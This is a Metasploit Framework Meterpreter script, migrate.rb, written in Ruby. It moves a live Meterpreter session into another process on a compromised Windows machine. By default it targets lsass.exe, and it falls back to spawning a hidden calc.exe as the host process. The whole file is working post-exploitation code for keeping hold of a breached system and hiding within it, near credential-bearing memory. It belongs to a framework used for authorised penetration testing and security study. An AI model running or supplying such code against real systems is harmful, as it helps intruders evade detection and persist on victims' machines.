metasploit-framework/scripts/meterpreter/migrate.rb

# $Id$
#
# Simple example script that migrates to a specific process by name. 
# This is meant as an illustration.
#

opts = Rex::Parser::Arguments.new(
	"-h" => [ false,"Help menu." ]
)
opts.parse(args) { |opt, idx, val|
	case opt
	when "-h"
		print_line("")
		print_line("USAGE:   run migrate [process name]")
		print_line("EXAMPLE: run migrate explorer.exe")
		print_line(opts.usage)
		raise Rex::Script::Completed
	end
}


# Get the target process name
target = args[0] || "lsass.exe"

print_status("Migrating to #{target}...")

server = client.sys.process.open

print_status("Current server process: #{server.name} (#{server.pid})")

# Get the target process pid
target_pid = client.sys.process[target]

if not target_pid
	print_error("Could not access the target process")
	print_status("Spawning a calc.exe host process...")
	calc = client.sys.process.execute('calc.exe', nil, {'Hidden' => true })
	target_pid = calc.pid
end

# Do the migration
client.core.migrate(target_pid)

server = client.sys.process.open

print_status("New server process: #{server.name} (#{server.pid})")